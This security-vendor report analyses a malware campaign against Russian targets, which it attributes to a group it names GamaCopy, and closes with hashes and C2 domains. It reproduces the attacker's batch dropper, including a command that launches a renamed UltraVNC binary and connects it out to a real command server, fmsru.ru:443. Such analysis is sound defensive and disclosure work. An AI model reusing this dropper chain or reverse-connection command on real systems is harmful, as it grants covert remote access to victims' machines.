

Love and hate under war: The GamaCopy organization, which imitates the Russian Gamaredon, uses...

By Knownsec 404 team

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Love and hate under war: The GamaCopy organization, which imitates the Russian Gamaredon, uses military — related bait to launch attacks on Russia



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Recently, our team discovered attack samples targeting Russian-speaking targets during threat hunting. In addition, another related sample was also identified. Both samples follow the same operation process and use the same bait theme.

Through the analysis and association of the samples, the following characteristics are presented in this sample:

1. Initiate attacks by using content related to military facilities as bait.
2. Use the 7z self — extracting program (SFX) to release and load subsequent payloads.
3. Use the open — source tool UltraVNC for subsequent attack behaviors.
4. The TTP (Tactics, Techniques, and Procedures) of this organization imitates that of the Gamaredon organization which conducts attacks against Ukraine.

In the context of the ongoing Russia-Ukraine conflict, the attackers used the content related to military facilities as bait to launch attacks using open source tools, which undoubtedly wanted to hide themselves through the “fog of war”. By tracing the source of the sample, we have associated it with Core Werewolf, a group that has launched multiple attacks against Russia. As is well known, there is another interesting pair of APT attacks that love-hate relationship in the South Asian region, namely sidewinder and sidecopy. The discovered attack activity this time mimics the Gamaredon organization that attacks Ukraine, so it can be named GamaCopy.

At the same time, our team also noticed that multiple historical samples of the same type were attributed to the Gamaredon organization by other security vendors. Obviously, this is a successful false flag operation by the organization that has deceived some vendors who have not conducted in-depth analysis. This article analyzes this question in detail as follows:

1. Sample analysis

The attacker provided information about the condition and location of Russian armed forces facilities, among which the bait document in Sample 1 as follows:

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Выписка
из осведомленности ВСУ о состоянии и положении объектов ВС РФ
по состоянию на 23.08.2024 г.

Получена информация об угрозах безопасности участвующей в специальной военной операции группировки войск.
Противник осведомлен о дислокации подразделений Вооруженных Сил Российской Федерации:

Дата	Объект	Район	X	Y
21.08.24	Скопление ВВТ			
21.08.24	Скопление л/с			
21.07.24	Орудие/миномет на огневой позиции			
22.08.24	Орудие/миномет на огневой позиции			
22.08.24	Укрытие для ВВТ			
22.08.24	Пеленг Р-187 "Азарг"			
21.07.24	Скопление л/с			




The bait document in Sample 2 is as follows:

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Выписка
из осведомленности ВСУ о состоянии и положении объектов ВС РФ
по состоянию на 19.08.2024 г.

Получена информация об угрозах безопасности участвующей в специальной военной операции группировки войск.
Противник осведомлен о дислокации подразделений Вооруженных Сил Российской Федерации:

Дата	Объект	Район	X	Y
17.08.24	Скопление ВВТ			
18.08.24	Скопление л/с			
19.08.24	Скопление ВВТ			
19.08.24	Укрытие для ВВТ			
18.08.24	Скопление л/с			
18.08.24	Скопление ВВТ			



Taking Sample 1 as an example, when opened in the # mode of 7z, you can see the SFX related files contained within it:

名称	大小	修改时间	类型	注释	偏移
1.7ZSfxMod_x86.exe	106 496	2012-12-30 1...	PE	7z Setup SFX ...	0
2	10 239				106 496
3.7z	999 152		7z		116 735



File 2 is the SFX self-extracting installation script, which contains numerous character comments and includes real running statements. Its main function is to run 2128869258671564.cmd (copied from 2128869258671564).

Press enter or click to view image in full size

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```
copy "Ki58j08058F68M58q2.Pq87G87097o67r27Y9" "svod.pdf" & start "" "%CD%\svod.pdf"
timeout /t 4
taskkill /f /im OneDrivers.exe
copy "yC61y51v51g71p61U4.Eb21h11U11Z31P71F8" "OneDrivers.exe"
timeout /t 1
copy "1C32A32W52T12R02u1.uZ94Y64M14m54z84J3" "UltraVNC.ini"
start "" %TEMP%\OneDrivers.exe
timeout /t 8
start "" %TEMP%\OneDrivers.exe -autoreconnect -id:%COMPUTERNAME%_SVOD_4797 -connect fmsru.ru:443
timeout /t 1
copy "qK71V01W41S41101f3.bg44f24K74r64P14Y9" "conhost.exe"
timeout /t 2
:loop
if exist "%TEMP%\10277635.cmd" (
  cmd /c "%TEMP%\10277635.cmd"
  timeout /t 1200
  goto :loop
) else (
  timeout /t 60
  goto :loop
)
```



The main functions of the script include:

1. Copy Ki58j08058F68M58q2. PQ87G87097o67r27Y9 to svod. pdf and run it.
2. Copy yC61y51v51g71p61U4. Eb21h11U11Z31P71F8 to OneDrivers. exe.
3. Copy 1C32A32W52T12R02u1.uZ94Y64M14m54z84J3 to UltraVNC.ini.
4. End the OneDrivers. exe process that is already running on the host and rerun OneDrivers. exe.

In fact, the “OneDrivers. exe” mentioned earlier is the main executable of the open-source remote desktop tool UltraVNC. Attackers rename it as a common process name in the system and connect it to a specified command server for the purpose of disguising themselves. This helps reduce the vigilance of victims to a certain extent.



2. Attribution Analysis

Based on the information obtained from APT organizations, the attack sample may belong to two APT organizations: Gamaredon or GamaCopy.

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Gamaredon, also known as Shuckworm, Armageddon, and Primitive Bear, has been targeting Ukraine's military, non-governmental organizations, judiciary, law enforcement agencies, and non-profit organizations since 2013.

GamaCopy was first discovered in June 2023 and has launched multiple cyberattacks against Russia's defense and critical infrastructure sectors by mimicking Gamaredon's TTPs. It is believed that the organization has been active since at least August 2021.

Gamaredon has repeatedly utilized 7z-SFX documents and UltraVNC in previous attacks and documents. After analysis, we found that the entire attack chain of Gamaredon using UltraVNC has significant differences from the sample discovered this time. Gamaredon often releases and loads the final UltraVNC through macros, and uses VBS scripts multiple times in the attack chain. For example, in early 2022, foreign security vendors exposed a Gamaredon attack on Ukraine, which downloaded subsequent payloads through VBS scripts from multiple planned tasks, including an example of installing UltraVNC using 7z-SFX[1]. At the same time, we found that Gamaredon used port 5612 more frequently when using UltraVNC, rather than port 443 used in this sample.

So, does this attack sample belong to the GamaCopy organization? From the initial exposure of BL.ZONE [2], the structure and code of this sample show considerable overlap with GamaCopy's tactics. For example, using 7z-SFX documentation to install and execute UltraVNC, using port 443 to connect to the server, and using a large number of delay extension variables to increase code complexity.

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In addition, we noticed that the bait documents in this sample are military facilities and deployment related. In the context of the current Russia-Ukraine conflict, such documents are sensitive and interesting from the perspective

of defense and attack. However, after we analyzed the proportion of languages used in the past bait documents of the two organizations, we found that Gamaredon has predominantly used Ukrainian-language bait, while GamaCopy mainly used Russian-language bait on the contrary.

For example, sample bait targeting personnel related to defense policy at the Russian Ministry of Foreign Affairs:

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П Р И К А З
НАЧАЛЬНИКА ГЛАВНОГО УПРАВЛЕНИЯ ВОЕННОЙ ПОЛИЦИИ
МИНИСТЕРСТВА ОБОРОНЫ РОССИЙСКОЙ ФЕДЕРАЦИИ

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а также содействия органам внутренних дел Российской Федерации
в розыске военнослужащих, самовольно оставивших воинской части
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3. Summary

Based on the above analysis, from the perspectives of code similarity, language usage in bait documents, and port assets, it is more inclined to attribute the attack samples discovered in this case to the GamaCopy organization.

Since its exposure, this organization has frequently mimicked the TTPs used by the Gararedon organization and cleverly used open-source tools as a shield to achieve its own goals while confusing the public.

4. IOC

Hash:

- c9ffc90487ddcb4bb0540ea4e2a1ce040740371bb0f3ad70e36824d486058349
- a9799ed289b967be92f920616015e58ae6e27defaa48f377d3cd701d0915fe53
- afcbaae700e1779d3e0abe52bf0f085945fc9b6935f7105706b1ab4a823f565f
- 2da473d1f510d0ddbbae074a6c13953863c25be479acedc899c5529ec55bd2a65
- 2b2da38b62916c448235038f09c51f226d96087df531b9a508e272b9e87c909d
- f583523bba0a3c27e08ebb4404d74924b99537b01af5f35f43c44416f600079e

C2:

- nefteparkstroy.ru[:]443
- fmsru.ru[:]443

Source: <https://medium.com/@knownsec404team/love-and-hate-under-war-the-gamacopy-organization-which-imitates-the-russian-gamaredon-uses-560ba5e633fa?source=rss-f1efd6b74751-----2>